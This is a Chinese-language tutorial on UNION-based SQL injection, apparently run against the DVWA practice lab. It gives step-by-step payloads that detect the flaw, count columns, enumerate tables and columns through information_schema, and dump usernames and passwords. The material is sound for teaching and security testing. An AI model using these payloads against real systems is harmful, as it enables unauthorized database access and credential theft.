一、union 联合注入原理
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段数要相同,不然会出现报错。
1、联合查询的错误方式
guestbook 表有三个字段。
users 有八个字段。
如果直接联合两个表,因为列数跟第一个表不一样,会导致出错。
2、整合的联合查询方法
SELECT * FROM guestbook WHERE comment_id=1 union select 1,2,3 from users
guestbook 有个三个字段,users 也需要有三个与之匹配.
2.1、替换成函数
这些数字可以替换成字段的名称或者函数。
SELECT * FROM guestbook WHERE comment_id=1 union select database(),user(),version() from users
2.2、替换成字段
SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users
2.3、limit 限定
如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上 limit 1 限定:
SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users limit 1
2.4、负数操作
上面结果只会显示第一条,因为 SELECT * FROM guestbook WHERE comment_id=1,这个语句是存在记录的。如果想要admin的内容,
可以把1换成其他不存在的记录,因为默认负数就表示不存在的,可以在数字前加上-1 即可显示第二个表的内容。
payload:
SELECT * FROM guestbook WHERE comment_id=-1 union select user_id,user,password from users limit 1
二、union 联合注入攻击
1、代码分析
在上面详细的介绍了原理,现在再来分析有 SQL 注入漏洞的代码,通过分析代码,更深入地了解 SQL 注入漏洞。
使用$_REQUEST 直接接收 id 参数,且没有进行过滤,且可以接收 cookie、get、post这些传递方法。
当传入 1 的时,页面正常返回用户信息。
如果传入 1' 语法会出现语句 You have an error in your SQL syntax;这种英文是 mysql 语法错误提示。
根据代码分析'$id'是属于字符串类型,所以在进行 SQL 注入检测的时候要注意匹配字符串。
2、判断 SQL 注入
1' and '1'='1 页面返回用户信息;
1' and '1'='2 页面返回不一样的信息。
基本可以确定存在 SQL 注入漏洞。
3、判断字段数
使用语句 order by 确定当前表的字符数。
order by 1 如果页面返回正常,字段数不少于1。
order by 2 如果页面返回正常,字段数不少于2。
如此类推,直到页面出错,正确的字段数是出错数字减1。
公式 order by n-1
1' order by 1--+ 正常
1' order by 2--+ 正常
1' order by 3--+ 出错
正常页面
错误页面
最终确定字段数为 2
4、联合查询注入获取敏感信息
联合查询输入数字,查询页面是否有数字输出。输出的地方就是显示的内容,但是被数字替换了。-1 是让前面的表查询的内容不存在。
所以就会显示数字。
-1' union select 1,2--+
把数据替换成 mysql 的函数例如 md5(1),这会在页面返回 1 的 md5 加密信息。
使用这个函数一般是白帽子扫描器的匹配存在漏洞的特征码。
5、获取 mysql 版本,当前用户权限,当前数据库
version() mysql 版本;
database() 当前数据库;
user() 当前用户名;
group_concat()分组打印字符串;
把函数直接替换数字查看页面。
-1' union select 1,version()--+
-1' union select 1,group_concat(user(),0x3A,database(),0x3A,version())--+
如果你想一次打印多个敏感信息可以使用 group_concat()把查询的函数写在里面。
0x3A 是:这个符号的十六进制,在 mysql 里会自动转成符号:
知道当前库是 dvwa。
6、通过 information_schema 获取表
在黑盒的情况下是不知道当前库有什么表,可以通过 mysql 自带的 information_schema 查询当前库的表。
查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个。1 改成 2 就是第二个。
如此类推... ...
第一个表:
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
第二个表:
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1)--+
7、通过 information_schema 获取字段
同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS,这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。
获取 users 表第一个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1)--+
获取 users 表第二个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1)--+
获取 users 表第三个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)--+
8、联合查询表里的内容
通过以上的黑盒查询,获取库名、表名、字段,那么就可以查询某个表的内容。
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+